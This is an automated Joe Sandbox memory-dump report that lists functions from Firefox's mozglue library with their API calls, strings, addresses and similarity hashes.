Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 4a8a80ff7c8917077151e0c3ae9c994b01b6bce3e26732a14af271aaffab85b5
Instruction ID: 8bed4f6071856c53e47f1e0be305872636ec0c43e1ada593b66a03633894845c
Opcode Fuzzy Hash: 4a8a80ff7c8917077151e0c3ae9c994b01b6bce3e26732a14af271aaffab85b5
Instruction Fuzzy Hash: 6F41C575B00205DBDF00EFA9DDA4E9A7BB4EB89319F028228ED16D7740D734B815CBA5

Function 6C510000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
Part of subcall function 6C509420: __Init_thread_footer.LIBCMT ref: 6C50949F

GetCurrentThreadId.KERNEL32 ref: 6C510039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C510041
GetCurrentThreadId.KERNEL32 ref: 6C510075
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C510082
moz_xmalloc.MOZGLUE(00000048), ref: 6C510090
free.MOZGLUE(?), ref: 6C510104
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C51011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C51005B

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 2e6377df37310e7e330bf1ef6d1e9efe20bdb1062db77a6f80c1b332a8cae583
Instruction ID: e86e95fa2f1e34055a6e5514d58e161bb2439dd1220d16d410f9edad5c7a5e8f
Opcode Fuzzy Hash: 2e6377df37310e7e330bf1ef6d1e9efe20bdb1062db77a6f80c1b332a8cae583
Instruction Fuzzy Hash: 3041AEB5600644DFDB10EF28CC44A9ABBF0FF89328F41861EE95A87B50DB31A815CB95

Function 6C4D7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4D7EA7
malloc.MOZGLUE(00000001), ref: 6C4D7EB3

Part of subcall function 6C4DCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4DCB49
Part of subcall function 6C4DCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4DCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4D7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4D7F19
malloc.MOZGLUE(?), ref: 6C4D7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4D7F4D

Strings

d, xrefs: 6C4D7F89

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 64b95f6606fa29597b3fbd99ebeb5761d819a1ca829c42270e898922e2158f5f
Instruction ID: fc4eb990104c380549740c37815800bb8ef3ddf339f296940a5c0edfc75ed67e
Opcode Fuzzy Hash: 64b95f6606fa29597b3fbd99ebeb5761d819a1ca829c42270e898922e2158f5f
Instruction Fuzzy Hash: C5310761E0425897DB01EB68CC14DFEB778EF96308F069628EC4997712FB70B988C395

Function 6C4D3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C4D3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4D3FDC
RtlAllocateHeap.NTDLL ref: 6C4D4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4D40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4D3CCC), ref: 6C4D40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4D3CCC), ref: 6C4D40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4D4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4D3CCC), ref: 6C4D4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4D3CCC), ref: 6C4D4157

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 5a88c9385943c0ed3034abdb8f18cf54607cf4c20006637910e66c43c3edb3f2
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: B5A17EB1A00215CFDB41DF68C890F59B7F5BF48348F2A51A9D909AF742D771E886CBA0

Function 6C519D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C518273), ref: 6C519D65
free.MOZGLUE(6C518273,?), ref: 6C519D7C
free.MOZGLUE(?,?), ref: 6C519D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C519E0F
free.MOZGLUE(6C51946B,?,?), ref: 6C519E24
free.MOZGLUE(?,?,?), ref: 6C519E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C519EC8
free.MOZGLUE(6C51946B,?,?,?), ref: 6C519EDF
free.MOZGLUE(?,?,?,?), ref: 6C519EF5

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 223dc94bea9e9342585917e86cd77205b1ed38dbbd6c8dd5a453f70fc8f48f00
Instruction ID: 3033c9147cfc53e86d5cc507cf022993b80ec2a11911a9f9b636dda52ebda1ae
Opcode Fuzzy Hash: 223dc94bea9e9342585917e86cd77205b1ed38dbbd6c8dd5a453f70fc8f48f00
Instruction Fuzzy Hash: 137191B0909B419BD712CF18C88096BF3F5FF99315B459A5DE85A9BB01EB30E885CBC1

Function 6C51DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C51DDCF

Part of subcall function 6C4FFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4FFA4B

Part of subcall function 6C5190E0: free.MOZGLUE(?,00000000,?,?,6C51DEDB), ref: 6C5190FF
Part of subcall function 6C5190E0: free.MOZGLUE(?,00000000,?,?,6C51DEDB), ref: 6C519108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51DE0D
free.MOZGLUE(00000000), ref: 6C51DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C50DEFD,?,6C4D4A68), ref: 6C51DF32

Part of subcall function 6C51DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C51DB86
Part of subcall function 6C51DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C51DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C50DEFD,?,6C4D4A68), ref: 6C51DF65
free.MOZGLUE(?), ref: 6C51DF80

Part of subcall function 6C4E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4E5EDB
Part of subcall function 6C4E5E90: memset.VCRUNTIME140(ewRl,000000E5,?), ref: 6C4E5F27
Part of subcall function 6C4E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4E5FB2

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 1ec8abed1c896bd778600b3cf43870fbade0deeff4fe7e9d844a022599370986
Instruction ID: b34da7bcf35d3fbb74bbeb0dacf028e4063001abc2b6c6b80ae93a95c0bf853a
Opcode Fuzzy Hash: 1ec8abed1c896bd778600b3cf43870fbade0deeff4fe7e9d844a022599370986
Instruction Fuzzy Hash: FF51B7766096009BF722DB18CC886AEB3B2BF95309F96461CD81A53F00D731F959CBD2

Function 6C525D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C525C8C,?,6C4FE829), ref: 6C525D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C525C8C,?,6C4FE829), ref: 6C525D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C525C8C,?,6C4FE829), ref: 6C525D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C525C8C,?,6C4FE829), ref: 6C525D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C525C8C,?,6C4FE829), ref: 6C525DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C525C8C,?,6C4FE829), ref: 6C525DC9
std::_Facet_Register.LIBCPMT ref: 6C525DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C525C8C,?,6C4FE829), ref: 6C525E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C525C8C,?,6C4FE829), ref: 6C525E45

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 845bf46970bcde1eeacfb5f4c66a9a856d5aeee405959887eb39524b317b783e
Instruction ID: d42ac759ff069409fcb68321f76d69b3ff3fc59ea9620d292534354e58f2ad9f
Opcode Fuzzy Hash: 845bf46970bcde1eeacfb5f4c66a9a856d5aeee405959887eb39524b317b783e
Instruction Fuzzy Hash: 234191707002049FCB04EF69CC98AAE77F5EF89318F8540A9E50A9B791EB34ED05CB65

Function 6C4FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4C31A7), ref: 6C4FCDDD

Strings

<jemalloc>, xrefs: 6C4FCF9F, 6C4FCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C4FCFA4, 6C4FCFB8

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 56f8165daf60b0fa4d0712f63198930dcae96c3fb83e477bee7bb25d6a914f58
Instruction ID: 9a90b62a82ea7c70e64b019453de713f663dbf3f08205ce87f68b06deae2236e
Opcode Fuzzy Hash: 56f8165daf60b0fa4d0712f63198930dcae96c3fb83e477bee7bb25d6a914f58
Instruction Fuzzy Hash: 0A3192317802056BFF24FE658C45FAE7BB5ABC1759F218015E624ABBC0DB70D50287A5

Function 6C4CECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4CF100: LoadLibraryW.KERNEL32(shell32,?,6C53D020), ref: 6C4CF122
Part of subcall function 6C4CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4CF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4CED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4CEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4CEDCC
CreateFileW.KERNEL32 ref: 6C4CEE08
free.MOZGLUE(00000000), ref: 6C4CEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4CEE32

Part of subcall function 6C4CEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4CEBB5
Part of subcall function 6C4CEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C4FD7F3), ref: 6C4CEBC3
Part of subcall function 6C4CEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C4FD7F3), ref: 6C4CEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4CEDC1

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 70b8799a696cb75045381744b1d0bc7a3bdea5bd0e0ec8ce2973e9c2f6392639
Instruction ID: 1dc273bcb87d0d1f3169077f343eb2da00855306a16b13a26420ed02f160becb
Opcode Fuzzy Hash: 70b8799a696cb75045381744b1d0bc7a3bdea5bd0e0ec8ce2973e9c2f6392639
Instruction Fuzzy Hash: CE510275E052148BDB00EF68C882FEEB7B0AF59358F04842DE8556B750E7306949C7E3

Function 6C53A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C53A565

Part of subcall function 6C53A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A4BE
Part of subcall function 6C53A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C53A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C53A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C53A6B6

Strings

z, xrefs: 6C53A6AE
0, xrefs: 6C53A5FB

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 72e86aba4b89709ce09a7cd976542ec60b0109bbbb7260617c3ca24376165ac9
Instruction ID: 819bfc1560d014b0e720e1de6d7cbf5a8be2e5f8935094c932248688605d38dc
Opcode Fuzzy Hash: 72e86aba4b89709ce09a7cd976542ec60b0109bbbb7260617c3ca24376165ac9
Instruction Fuzzy Hash: 87414671A087459FC741DF68C480A8BBBE4BFC9344F409A2EF49987650EB30E649CB82

Function 6C509420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C4FAB89: EnterCriticalSection.KERNEL32(6C54E370,?,?,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB94
Part of subcall function 6C4FAB89: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
__Init_thread_footer.LIBCMT ref: 6C50949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C50946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C509459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C50947D

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 3a65bbb2a9c56ee8d52ffec7fc908e7a744f3a5d69a0085efb35c8089a57f21a
Instruction ID: 89c33ceae964db6f3318822ca449b5a80d66766734d9e401668d44f959f70502
Opcode Fuzzy Hash: 3a65bbb2a9c56ee8d52ffec7fc908e7a744f3a5d69a0085efb35c8089a57f21a
Instruction Fuzzy Hash: DF018470B0010187D714EB6CDC15A4E33B5AB4636DF068636E90AC6B51EB21E869899F

Function 6C510F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C510F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C510F88
GetCurrentThreadId.KERNEL32 ref: 6C510FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C511067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5110A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C51114B

Part of subcall function 6C508AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C521563), ref: 6C508BD5

free.MOZGLUE(?), ref: 6C511174
free.MOZGLUE(?), ref: 6C511186

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 00fd67ac0f88f8fcc898d48798fd8dc518e956cd9901d8cc98e15b27b92d1a00
Instruction ID: 5bf03944fec7b33dc234ac1caab3ece1483794e51f214308b6ce6f2e30ad8d6b
Opcode Fuzzy Hash: 00fd67ac0f88f8fcc898d48798fd8dc518e956cd9901d8cc98e15b27b92d1a00
Instruction Fuzzy Hash: 4361BF75A083409BEB10DF25CC88B9AB7F5BFD5318F05891DE88947B11EB71E859CB82

Function 6C4CB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4CB61E,?,?,?,?,?,00000000), ref: 6C4CB6AC

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4CB61E,?,?,?,?,?,00000000), ref: 6C4CB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4CB61E,?,?,?,?,?,00000000), ref: 6C4CB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4CB61E,?,?,?,?,?,00000000), ref: 6C4CB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4CB61E,?,?,?,?,?,00000000), ref: 6C4CB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4CB61E), ref: 6C4CB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4CB61E,?,?,?,?,?,00000000), ref: 6C4CB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4CB61E,?,?,?,?,?,00000000), ref: 6C4CB79A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 6974c831f9aae0f18d1bb659fca1099d6300e6ba6b4764ebe3924406e6a62262
Instruction ID: db7943bb374e9cd42652fbe7ff3535eef5214126d1d42a719d3d60f8db948aca
Opcode Fuzzy Hash: 6974c831f9aae0f18d1bb659fca1099d6300e6ba6b4764ebe3924406e6a62262
Instruction Fuzzy Hash: 5941B6B6E001159FCB04DF68DC40EAEB7B5BB84324F250669EC25E7790E731AD1587D2

